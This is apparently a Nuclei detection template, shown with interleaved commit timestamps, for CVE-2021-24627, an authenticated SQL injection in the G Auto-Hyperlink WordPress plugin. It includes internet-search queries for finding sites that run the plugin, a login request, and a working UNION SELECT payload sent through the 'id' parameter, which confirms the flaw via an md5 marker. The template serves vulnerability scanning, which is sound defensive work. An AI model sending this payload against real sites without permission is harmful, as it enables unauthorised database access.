2023-10-17 07:20:28 +00:00
id : CVE-2021-24627
info :
name : G Auto-Hyperlink <= 1.0.1 - SQL Injection
author : theamanrawat
severity : high
description : |
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
reference :
- https://wordpress.org/plugins/g-auto-hyperlink/
- https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24627
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.2
cve-id : CVE-2021-24627
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.30355
epss-percentile : 0.96947
2023-10-17 18:18:29 +00:00
cpe : cpe:2.3:a:g_auto-hyperlink_project:g_auto-hyperlink:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
2023-10-17 18:18:29 +00:00
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
2023-10-17 18:18:29 +00:00
vendor : g_auto-hyperlink_project
product : g_auto-hyperlink
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/g-auto-hyperlink/
fofa-query : body=/wp-content/plugins/g-auto-hyperlink/
2024-06-07 10:04:29 +00:00
publicwww-query : /wp-content/plugins/g-auto-hyperlink/
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,sqli,wpscan,wordpress,wp-plugin,wp,g-auto-hyperlink,authenticated,g_auto-hyperlink_project
2023-10-17 07:20:28 +00:00
variables :
num : 999999999
2023-10-17 17:49:18 +00:00
http :
2023-10-17 07:20:28 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+I
- |
GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body_2
words :
- "c8c605999f3d8352d7bb792cf3fdb25b"
- "Keyword"
- "g-auto-hyperlink-edit"
condition : and
- type : word
part : header_2
words :
- "text/html"
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100bb808dfd1917b49c08da176851217326fc26bd2b57aa4b7c8266bf160e792fbc02202a9ea44d9ac554f4a165da05b4f42f1d219213c8bb93469eb5aa13dc5f176c8b:922c64590222798bb761d5b6d8e72950